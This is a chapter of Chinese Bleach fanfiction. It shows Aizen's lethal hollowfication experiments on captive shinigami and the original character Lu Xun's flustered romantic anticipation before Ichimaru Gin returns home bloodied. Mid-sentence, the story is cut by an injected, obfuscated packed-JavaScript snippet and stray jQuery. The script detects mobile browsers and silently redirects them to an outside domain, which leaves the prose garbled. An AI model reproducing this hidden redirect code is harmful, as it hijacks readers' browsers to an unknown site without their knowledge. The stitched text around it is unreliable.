*
尸魂界边缘的试验场,空气中到处弥漫着血腥与腐朽的气息。
第857574次虚化实验,即将开始。
市丸银踏入时,蓝染和东仙要早已站在控制台前。光屏跳动着意味不明的数字,将两人的脸映得冰冷惨白。
“啊啦~我是最后一个到的吗?”
他笑眯眯地走近,语调轻快,却丝毫没有抱歉的意思。
“东仙队长今天真快呢。”
“我第一时间赶来了。”东仙要眼罩遮住双目,却仍转向他,声音冷硬:“在你陪小女孩玩散步游戏的时候。”
空气凝固了一瞬。
市丸银唇角弧度不变,指尖漫不经心地摩挲着袖口,“哎?被发现了呢~”
蓝染的目光从数据屏上移开,镜片后的眼神深不见底。
“银,最近变得放松了呢。”
不是疑问,是陈述。
市丸银歪了歪头,笑容无辜得近乎天真:“不是在完成蓝染队长的吩咐吗?带小孩可是很累的~”
真假难辨的语气,如他整个人一样,深不可测。
蓝染静静注视他两秒,忽然轻笑一声,转身继续调整参数。
他的声音温和,却带着毋庸置疑的压迫:
“是啊。把她看好了,她还有用处。”
*
失联的死神并不罕见。
负伤、殉职、叛逃……或是像现在这样,被锁在试验台上,成为一具具实验体。
束缚灵具深深勒进皮肉,虚的魂魄被强行灌入体内。
强烈的灵压与痛苦的嘶吼在密闭空间里碰撞、扭曲,最终融合成一种非人的、野兽般的哀号。
控制台的数字疯狂跳动,尖锐的爆鸣刺穿耳膜。
市丸银站在观测台前,嘴角噙着一贯的笑意,眼底映着那些扭曲的身影。
他突然想起陆荨。
她总是半拉着脸,夸张地捂住耳朵,抱怨那些刺耳的噪声。
她会恐惧的东西,他早已麻木。
明明弱小得不堪一击,却莫名让他觉得安心。
好像在她身边,他竟然能短暂地忘记自己深陷的黑暗,忘记那种与魔鬼为伴的感觉。
……
实验室内,死神们的灵压逐渐崩溃。
身体开始异变,皮肤剥落,骨骼扭曲,最终在无法承受两种力量冲突而炸裂成一滩血肉。
有一些撑住了,却完全丧失了理智陷入狂暴,疯狂拍打撞击着周围的墙壁,不知疼痛地嘶吼着。
“真可惜呢,明明都这么努力了。”
市丸银看着光屏上逐渐归于平静的数据,似笑非笑地评价道。
蓝染失望地叹了口气,镜片后的目光阴郁而冰冷:
“都是失败品。”
“太弱了,至少得像平子真子那样才行啊……”
他的语气里甚至带着一丝怀念。怀念那位曾经的队长,值得称赞的对手。
东仙要适时接话:“至少获得了一些抑制虚化的数据。”
蓝染沉默了一会儿,又恢复了那张温和的面孔,轻轻推了推眼镜。
“是啊。”
“【崩玉】必不可少……但在那之前,也还有很多事要做呢。”
他的目光一一扫过市丸银和东仙要,唇角微扬,声音轻柔却不容置疑:
“银,要。”
“不需要操之过急。”
“一切,都在我们的掌控之中。
*
而陆荨这边则陷入了焦虑。
市丸银说要她“等”?
但等什么?我问你究竟等什么?
等你回来?等你解释?还是……
等你爱我?
陆荨的脑海里突然炸出一首经典老歌的旋律,差点没把自己齁死。
“什么鬼什么鬼!”
她猛地甩头,试图把脑子里不合时宜的BGM甩出去。
她现在明明应该困得着床就睡,却硬是顶着黑眼圈精神百倍。
甚至有种现在就去犁两亩田的冲动,好压一压胸腔里那颗躁动到快要蹦出来的心。
“咳……冷静、冷静。”陆荨猛地坐直,摆出沉思者姿势,试图用残余的理性分析现状:
已经经历了成年人的接吻,大晚上叫她等,岂不是在说……
……
……
……
“啊啊啊!果然男人都是大色迷!”她猛地抓起心爱的枕头狠狠砸向墙壁。
*
陆荨在走廊来回踱步,满脑子都是“樱花妹好像很重视初体验的仪式感”这回事。
“完蛋了完蛋了……”
她随手抓起刚才被扔飞的小枕头捂住脸,闷声尖叫:“怎么办啊!”
她想起前世看过某种攻略,比如要提前准备可爱内衣、点香薰蜡烛,甚至提前三天护肤……
但问题是。
她刚从贫困街区出差回来,身上穿着好多天没洗的死霸装,唯一称得上香氛的,是刚刚从市丸银背后蹭到的……那股若有若无的松木味。
……
“算了……保持干净清爽才是基本礼仪!”
她冲进厨房哼哧哼哧烧水,又突然想起前世看的少女漫画,女主角都会在初□前泡玫瑰浴。
而她……现在去哪找玫瑰?!
尸魂界连个□□用品店都没有!差评!
*
“呼噜噜噜噜——”
陆荨蹲在浴池里,把整张脸埋进水里,吐出一长串泡泡。
不是,她到底在紧张什么啊?
还真跟备战一样准备上了?
陆荨,你该不会是个隐藏痴女吧?!
她猛地从水里抬头,又忍不住痛骂尸魂界:
“这破地方古板得连情侣酒店都没有!氛围感什么的到底怎么整啊?!”
话又说回来,比起虚无缥缈的“氛围”,明显是“知识储备”更重要。
她拼命回忆真央课堂上讲过的《死神生理学》,试图临时补课。
结果满脑子只有“灵压密度与魂魄稳定性呈正相关……”,半点有意义的实战指导都没有。
“所以呢?!灵压密度和□□技巧有半毛钱关系吗?!”
陆荨突然怀疑尸魂界是不是根本没有□教育?
毕竟除了香织靠关系偷渡来的现世少女漫画,她在尸魂界她连本成人杂志都没见过。
难道死神活了几百年全靠自学?那天赋差的岂不是完蛋了。
像浮竹队长那种纯情老干部,该不会至今以为接吻会怀孕吧……
*
一阵翻箱倒柜。
陆荨面对一地死霸装和素到能出家的常服,悔恨交加。
好歹也是月入高薪小有余钱的千野秘书,为什么不早买点性感睡衣啊?!
该省省该花花,这种钱是能省的吗?!
她绝望地拎起唯一一件白色浴衣。
性感是没戏了,努力往纯欲风靠拢吧……
可这洗到发硬的旧浴衣,怎么越看越像纯狱风?
“嘶到普!”
陆荨甩甩头,强行给自己打气。
市丸银平时就裹得严严实实,眼睛还眯成一条缝。他那样的根本对视觉刺-激没兴趣吧?
稳的稳的。
陆荨点点头,找出毛巾擦头发,脑子不知怎么又想到一个致命问题。
那个……
市丸银该不会是……百岁老处-男吧??
这个念头像一道闪电劈进天灵盖,让她瞬间僵在原地。
如果真是这样,那岂不是要表演菜鸡互啄?
两个毫无经验的家伙面面相觑……这,是不是有点不妙啊?
她低头看了看自己。
虽然活了第二世,但上辈子是个社畜,这辈子又忙着在尸魂界当社畜,感情经验贫瘠得很。
而市丸银。
那张脸,那身材,那游刃有余的轻浮样,怎么看都该是情场老手才对。
如果是这样……那他前任是谁啊?!
可恶可恶可恶!
明明是自己的脑内小剧场,却硬生生把自己气到躺平。
陆荨四仰八叉瘫在回廊上,对着月亮发出终极摆烂宣言:
“毁灭吧,就现在。”
“毁灭什么?”
熟悉的语调在身后响起,是那个要她等却晚归的人。
“!”
陆荨猛地弹起来,原本那些上不得台面的遐想和绯红的脸颊,在看到他的那一刻骤然凝固。
“你……你怎么了?”
眼前的市丸银,穿着染血的死霸装,浑身浴血。
他一手团着白色羽织随手扔在地上,另一手握着斩魄刀
那柄漂亮的短刀,刀尖还在“嘀嗒嘀嗒”地往下渗血。
“你没事吧!”
这副样子真像刚从地狱爬回来一样。
陆荨猛地扑过去,却被市丸银抬手虚虚挡住。
“很脏啊,别过来。”他的声音里带着一丝疲惫,连惯有的轻浮都懒得伪装。
“那重要吗?”
陆荨直接拍开他的手,不由分说地覆上去检查他的身体,指尖急切地摸索可能的伤口。
“你没受伤吧?”
“不是我的血啊~”
市丸银垂眸看着她焦急的样子,嘴角扯出一抹笑,像是安抚。
好多血。
像是被人用红墨水泼洒过一般触目惊心。黏腻的腥气在空气中弥漫,换作平时,陆荨早就捂着鼻子躲得远远的。
可因为是市丸银。
她竟然连一丝嫌恶都生不出来,满脑子只剩下眼前这个人。
“为什么总把自己弄成这样啊……”她小声抱怨,手指轻轻拂过他的脖颈、肩膀、胸口,确认没有伤口后才松了口气,“就不能躲远点吗?”
市丸银轻笑一声,用还算干净的手指轻点她的额头:
“荨才是,记得好好躲在后面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981813|177962||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
哦。”
他有些嫌弃地扯了扯领口,话锋一转:
“帮我烧热水了吗?我要沐浴。”
“啊?哦、烧好了的。”陆荨呆呆地回答。
最近他都不回家,她的烧水任务减轻了很多,差点忘了这人是个洁癖晚期患者。
还好刚才她突发奇想准备玫瑰浴,多烧了很多热水……虽然最后也没实现。
见市丸银径直走向浴室,陆荨猛地拦住他:
“慢!慢着!”
“你就打算这样进去?”她指着他身上沾染的血迹,“你这样……浴池会变成凶案现场的!好歹擦干净再进去啊!”
*
市丸银盘腿坐着,懒洋洋地半阖着眼,整个人透着一种近乎透明的倦怠感。
陆荨跪坐在他面前,拧干帕子的动作利落而熟练。
温热的毛巾贴上额头,市丸银微不可察地僵了一瞬,随即又放松下来,任由她摆布。
她的指尖很轻,像是怕碰碎什么珍贵的东西,小心翼翼地拭过他脸上的血迹,每一处都很认真。
距离很近。
近到他能闻到她发间淡淡的皂角香,近到她每一次呼吸都轻轻拂过他的颈侧。
那种气息干净得过分。像阳光晒过的被褥,像清晨的露水,微弱却清晰,让他恍惚间忘记自己此刻的双手还沾满鲜血。
“以前我就想说了……”
陆荨一边擦,一边小声嘀咕:“你是不是有那种‘战损’的癖好啊?”
“……”
市丸银闭着眼没说话。
陆荨洗了洗毛巾,再次拧干,去擦他头发上的血迹。
见他不答,她自顾自地细数:
“这次,还有上次,还有你当副队长出任务的时候……”
她手上故意用了点力,愤愤地道:“我可是见到很多次了,你是鲜血溅到脸上也不管。”
她一直记得八卦小报上那张照片。
冷寂的月夜,持刀的银发少年,侧脸淌过鲜血,眼神冷得像冰。
看着让人揪心。
“没有啊……只是不想管罢了。”市丸银突然出声,嗓音低低的。
这种东西无所谓的。那些血迹是他的也好,不是也罢,他早就习惯了。
陆荨伸出手指,轻轻拨开他被打湿的额发,叹了口气:“以后别这样吧。”
声音不自觉地放软,“还以为你伤得很重……真的很吓人啊!”
手帕顺着未干的血迹,擦过他的颈侧,“而且不及时擦掉会一直往下流哦……”
从额头到颈侧,到锁骨,到胸前……指尖下的肌肤温凉而紧实,脉搏在薄薄的手帕下跳动,让她原本毫无波澜的心突然躁动了起来。
陆荨猛地收手,红着脸把帕子丢进水里。
“好了!剩下的你自己弄吧!”
而市丸银却不打算轻易放过她。
他随意地向后靠,双手撑地的动作让本就松散的领口滑开,露出结实好看的肌肤。
“还没弄完呢。”
他歪着头,银发垂落,无辜得像只毛绒狐狸,目光却直直锁住她。
“帮我弄干净吧。”
……
陆荨见他这副样子,心里的小人已经拿起手机拨打了110电话。
喂喂,帽子叔叔吗,这里有人going……
可她的手指却像背叛了理智,帕子鬼使神差地贴了上去。
死手!
快停下啊!
……
……
……
嗯……
不得不说,这家伙的身材真是好啊……
陆荨在心里发出一声满足的惊呼。
脑海里闪过梯田,闪过豆腐块,闪过滑滑梯……最后又觉得,所有的比喻都太过苍白。
这完完全全是艺术品!
这种好东西,就不该藏着掖着,敞亮地显摆出来让大家欣赏啊!
“噗、呵呵呵……”
市丸银突然笑得欢快,肩膀微微抖动。
“怎么了?”陆荨惊讶地看向他。
从他回来到现在,她还是第一次见到他真心实意地笑。
……等等。
他该不会以为她馋他身子吧?!
这怎么可能啊!
“喂喂,我先说清楚。”陆荨猛地坐起,摆出一副“我超正直”的表情,义正词严:“我可不是想摸哦。”
“这种……我见多了,真的。”
短视频上见过也算见,没毛病。
“我只是欣赏!你看啊,流了多少汗才能练成这样,一定很辛苦……”
“荨。”市丸银忽然凑近打断她,嘴角带着掩饰不住的愉悦笑容。
“嗯?”她下意识抬头,却猝不及防撞进他好看的眼眸。
笑什么笑!
弄得她脸都烧起来了,什么东西热热的……
他伸手,指尖轻轻蹭过她的鼻尖。
“你流鼻血了。”